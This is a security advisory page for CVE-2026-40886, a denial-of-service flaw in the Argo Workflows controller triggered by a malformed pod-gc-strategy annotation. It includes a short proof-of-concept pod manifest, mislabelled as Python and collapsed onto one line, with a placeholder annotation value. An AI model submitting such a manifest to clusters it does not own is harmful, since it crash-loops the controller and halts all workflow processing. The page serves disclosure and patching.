Security Vulnerability Report
中文
CVE-2026-40886 CVSS 7.7 HIGH

CVE-2026-40886

Published: 2026-04-23 19:17:29
Last Modified: 2026-04-28 14:09:26

Description

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
Argo Workflows >= 3.6.5, <= 4.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malformed Pod manifest to trigger the panic in Argo Workflows # The vulnerability is triggered by an invalid value in the 'workflows.argoproj.io/pod-gc-strategy' annotation. apiVersion: v1 kind: Pod metadata: name: malicious-pod-cve-2026-40886 namespace: argo # Or the namespace where Argo workflows are running annotations: # Setting a malformed value that causes array index out of bounds in podGCFromPod() workflows.argoproj.io/pod-gc-strategy: " malformed_payload_triggering_panic " spec: containers: - name: pause image: registry.k8s.io/pause:3.1

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40886", "sourceIdentifier": "[email protected]", "published": "2026-04-23T19:17:28.617", "lastModified": "2026-04-28T14:09:25.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.6.5", "versionEndIncluding": "3.6.19", "matchCriteriaId": "D1CB14B6-225D-422A-9FB0-509288D899F0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.7.0", "versionEndExcluding": "3.7.14", "matchCriteriaId": "9DAB70D2-949B-48BA-8624-F01907A85D86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.5", "matchCriteriaId": "675D5F2B-A490-42EB-B1A1-0CE05D2BB4CF"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}